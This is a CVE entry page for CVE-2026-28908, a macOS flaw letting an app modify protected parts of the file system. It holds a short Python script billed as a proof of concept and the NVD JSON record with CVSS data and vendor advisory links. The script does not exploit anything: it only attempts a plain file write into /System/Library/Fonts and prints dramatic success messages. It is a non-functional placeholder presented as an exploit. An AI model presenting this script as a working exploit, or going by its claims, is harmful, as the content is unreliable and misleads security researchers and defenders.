CVE-2026-28908

#!/usr/bin/env python3 # PoC for CVE-2026-28908: macOS Protected Filesystem Modification # This script attempts to write to a protected directory to simulate the vulnerability. # Note: This is a conceptual PoC and requires a vulnerable macOS version. import os def trigger_vulnerability(): # Path to a protected system directory target_path = "/System/Library/Fonts/CVE-2026-28908_test.txt" malicious_content = "This file should not be here." try: # Attempting to write to a protected location with open(target_path, 'w') as f: f.write(malicious_content) print(f"[+] Success: Written to {target_path}") print("[!] System stability may be compromised.") except PermissionError: print("[-] Failed: Permission denied. System may be patched.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] Attempting to exploit CVE-2026-28908...") trigger_vulnerability()

{"cve": {"id": "CVE-2026-28908", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:53.607", "lastModified": "2026-05-12T17:10:16.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.7", "matchCriteriaId": "DD9E7FAE-30DA-4B2B-A63A-6DFEA7A29933"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.7", "matchCriteriaId": "2984C440-3DC2-413A-B5FA-1FAB21078DB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127117", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}